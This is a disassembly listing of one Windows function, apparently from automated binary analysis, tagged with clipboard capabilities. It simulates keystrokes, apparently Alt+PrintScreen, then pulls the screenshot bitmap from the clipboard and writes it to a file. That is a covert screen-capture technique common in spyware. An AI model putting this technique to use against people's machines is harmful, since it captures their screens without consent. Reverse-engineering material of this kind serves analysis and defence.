Function at 0x140068480
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x1a0]
sub rsp, 0x2a0
mov rax, qword [0x1402325c0]
xor rax, rsp
mov qword [rbp + 0x190], rax
xor r14d, r14d
mov dword [rsp + 0x40], r14d
mov rcx, qword [0x140250da8]
mov rdx, qword [0x140256010]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, rdx
jb 0x1400689ea
lea r9, [0x140250d98]
cmp qword [0x140250db0], 0xf
cmova r9, qword [0x140250d98]
lea rax, [0x140256000]
cmp qword [0x140256018], 0xf
cmova rax, qword [0x140256000]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x48]
call fcn.1400fc720
nop
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, reloc.WS2_32.dll_select
call qword [sym.imp.USER32.dll_keybd_event]
lea ecx, [r14 + 0xa]
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, Ordinal_45
call qword [sym.imp.USER32.dll_keybd_event]
lea ecx, [r14 + 0xa]
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
xor edx, edx
lea r8d, [r14 + 2]
mov cl, Ordinal_45
call qword [sym.imp.USER32.dll_keybd_event]
lea ecx, [r14 + 0xa]
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
xor edx, edx
lea r8d, [r14 + 2]
mov cl, reloc.WS2_32.dll_select
call qword [sym.imp.USER32.dll_keybd_event]
lea ecx, [r14 + 0xa]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [r14 + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
lea ecx, [r14 + 2]
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rsi, rax
call qword [sym.imp.USER32.dll_CloseClipboard]
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
mov qword [rbp - 0x20], r14
mov qword [rsp + 0x50], r14
lea r8, [rsp + 0x50]
lea edx, [r14 + 1]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
lea rax, vtable.ATL::CImage.0
mov qword [rbp - 0x10], rax
mov dword [rbp + 0x20], 0xffffffff
mov qword [rbp + 0x28], r14
mov dword [rbp + 0x30], r14d
mov qword [rbp + 0x38], r14
call fcn.140054c50
mov rbx, rax
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc dword [rbx + 0x30]
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
mov qword [rbp - 8], rsi
lea r8, [rsp + 0x60]
lea edx, [r14 + 0x68]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_GetObjectW]
cmp eax, 0x68
jne 0x1400686a7
mov byte [rbp + 0x18], 1
mov ecx, dword [rbp - 0x7c]
mov dword [rbp + 8], ecx
mov r8d, dword [rbp - 0x78]
mov r9d, r8d
neg r9d
cmovs r9d, r8d
mov dword [rbp + 0xc], r9d
movzx eax, word [rbp - 0x72]
mov dword [rbp + 0x14], eax
imul eax, ecx
add eax, 0x1f
cdq
and edx, 0x1f
add eax, edx
sar eax, 5
shl eax, 2
mov dword [rbp + 0x10], eax
mov r10, qword [rsp + 0x78]
mov qword [rbp], r10
test r8d, r8d
jle 0x1400686c9
lea ecx, [r9 - 1]
imul ecx, eax
movsxd rdx, ecx
add rdx, r10
mov qword [rbp], rdx
neg eax
mov dword [rbp + 0x10], eax
jmp 0x1400686c9
mov byte [rbp + 0x18], 0
mov eax, dword [rsp + 0x64]
mov dword [rbp + 8], eax
mov eax, dword [rsp + 0x68]
mov dword [rbp + 0xc], eax
movzx eax, word [rsp + 0x72]
mov dword [rbp + 0x14], eax
mov dword [rbp + 0x10], r14d
mov qword [rbp], r14
mov dword [rbp + 0x1c], 0xffffffff
mov byte [rbp + 0x19], 0
mov rdx, qword [rsp + 0x50]
lea rcx, [rbp - 0x10]
call fcn.140054dd0
lea rdx, [rbp + 0x40]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.SHLWAPI.dll_IStream_Size]
mov edi, dword [rbp + 0x40]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.SHLWAPI.dll_IStream_Reset]
mov r8d, edi
mov r9, qword [rbp - 0x28]
mov rcx, r9
mov rdx, qword [rbp - 0x30]
sub rcx, rdx
cmp rdi, rcx
jae 0x14006871f
lea rax, [rdi + rdx]
mov qword [rbp - 0x28], rax
jmp 0x140068754
jbe 0x140068754
mov rax, qword [rbp - 0x20]
sub rax, rdx
cmp r8, rax
jbe 0x14006873b
mov rdx, r8
lea rcx, [rbp - 0x30]
call fcn.140100190
jmp 0x140068750
sub r8, rcx
lea rbx, [r9 + r8]
xor edx, edx
mov rcx, r9
call sub.VCRUNTIME140.dll_memset
mov qword [rbp - 0x28], rbx
mov rdx, qword [rbp - 0x30]
mov r8d, edi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.SHLWAPI.dll_IStream_Read]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
xor edx, edx
mov r8d, 0x118
lea rcx, [rbp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x1401ffbf0]
mov qword [rbp + 0x70], rax
lea rax, [0x140208f08]
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x128]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x40], 3
xor r8d, r8d
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x70]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x70], rbx
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb8]
mov dword [rbp + rcx + 0x6c], edx
lea rcx, [rbp + 0x88]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x88], rax
mov byte [rbp + 0x104], 0
mov byte [rbp + 0xf9], 0
lea rcx, [rbp + 0x88]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x108], r14
mov rax, qword [0x140257340]
mov qword [rbp + 0xfc], rax
mov qword [rbp + 0xf0], r14
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova rdx, qword [rbp + 0x48]
mov r8d, Ordinal_35
lea rcx, [rbp + 0x88]
call fcn.1400f2290
xor r8d, r8d
test rax, rax
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x70]
je 0x14006887b
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x140068889
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov r8, qword [rbp - 0x28]
mov rdx, qword [rbp - 0x30]
sub r8, rdx
lea rcx, [rbp + 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x88]
call fcn.1400f0900
test rax, rax
jne 0x1400688cf
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x70]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x70], rbx
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb8]
mov dword [rbp + rcx + 0x6c], edx
lea rcx, [rbp + 0x88]
call fcn.1400ed690
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x128]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x140068924
call qword [sym.imp.GDI32.dll_DeleteObject]
call fcn.140054c50
mov rbx, rax
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [rbx + 0x30], 1
jne 0x140068961
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rbx]
test rcx, rcx
je 0x140068954
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
mov qword [rbx], r14
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x1400689b5
mov rdx, qword [rbp - 0x20]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400689a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400689a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401b59fc
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r14
lea rcx, [rbp + 0x48]
call fcn.1400f0d10
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
call fcn.1401b5670
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1400546f0
int3